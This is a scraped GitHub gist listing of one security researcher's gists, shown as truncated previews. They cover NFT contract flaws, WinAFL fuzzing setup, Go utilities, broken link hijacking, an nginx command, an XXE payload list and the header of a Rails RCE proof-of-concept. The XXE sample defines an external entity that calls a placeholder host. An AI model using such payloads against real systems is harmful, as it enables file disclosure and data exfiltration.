Kyle Benac B3nac

## safeTransferFrom.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                B3nac
                / safeTransferFrom.md
            
            
              Last active
              June 16, 2021 17:14
            
          
    A Not So Safe safeTransferFrom Implementation

Hi all! It has been awhile since I've written a blog post. I've been researching smart contracts and creating my own game that integrates NFTs or (ERC 721) tokens. During this time I discovered a way to empty all Ethereum of the owner of a ERC 721 factory contract.
OpenZeppelin provides some awesome example contracts the one that I'm using as an example is located here https://docs.openzeppelin.com/contracts/3.x/erc721.
// contracts/GameItem.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

  
## winafl-setup.md

      
              1 file
            
          
              3 forks
            
          
              0 comments
            
          
              5 stars
            
          
                B3nac
                / winafl-setup.md
            
            
              Last active
              May 15, 2024 08:26
            
              
                How to setup winafl on Windows 10
              
          
    Clone winafl

git clone https://github.com/googleprojectzero/winafl.git
If needing Intel processor support

git submodule update --init --recursive
Download Visual Studio 15 2017 and install "Desktop development with C++"


## logwrapper.go
// Package logwrapper implements a wrapper around the Go standard library's
// logging package. Clients should set the current log level; only
// messages below that level will actually be logged. For example, if
// Level is set to LevelWarning, only log messages at the Warning,
// Error, and Critical levels will be logged.
package logwrapper

import (
	"fmt"
	"log"

## remote-cert-test.go
package main

import (
"fmt"
"crypto/x509"
"io/ioutil"
"encoding/pem"
"revoke"
"os"
"crypto/tls"

## broken_link_hijacking.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                B3nac
                / broken_link_hijacking.md
            
            
              Created
              September 5, 2017 00:41
                — forked from EdOverflow/broken_link_hijacking.md
            
              
                This post aims to give you a basic overview of the different issues that could possibly arise if a target links to an expired endpoint.
              
          
    Broken Link Hijacking - How expired links can be exploited.

Broken Link Hijacking (BLH) exists whenever a target links to an expired domain or page. Broken Link Hijacking comes in two forms, reflected and stored. This issue has been exploited in the wild numerous times, but surprisingly few researchers actively look for broken links in bug bounty programs.

This post aims to give you a basic overview of the different issues that could possibly arise if a target links to an expired endpoint.
Stored Broken Link Hijacking


## nginx.conf
# to generate your dhparam.pem file, run in the terminal
openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048

## XXE_payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

## rails_rce.rb
#!/usr/bin/env ruby
#
# Proof-of-Concept exploit for Rails Remote Code Execution (CVE-2013-0156)
#
# ## Advisory
#
#   https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion
#
# ## Caveats
#
	// Package logwrapper implements a wrapper around the Go standard library's
	// logging package. Clients should set the current log level; only
	// messages below that level will actually be logged. For example, if
	// Level is set to LevelWarning, only log messages at the Warning,
	// Error, and Critical levels will be logged.
	package logwrapper

	import (
	"fmt"
	"log"
	package main

	import (
	"fmt"
	"crypto/x509"
	"io/ioutil"
	"encoding/pem"
	"revoke"
	"os"
	"crypto/tls"
	# to generate your dhparam.pem file, run in the terminal
	openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048
	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
	--------------------------------------------------------------

	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>
	#!/usr/bin/env ruby
	#
	# Proof-of-Concept exploit for Rails Remote Code Execution (CVE-2013-0156)
	#
	# ## Advisory
	#
	# https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion
	#
	# ## Caveats
	#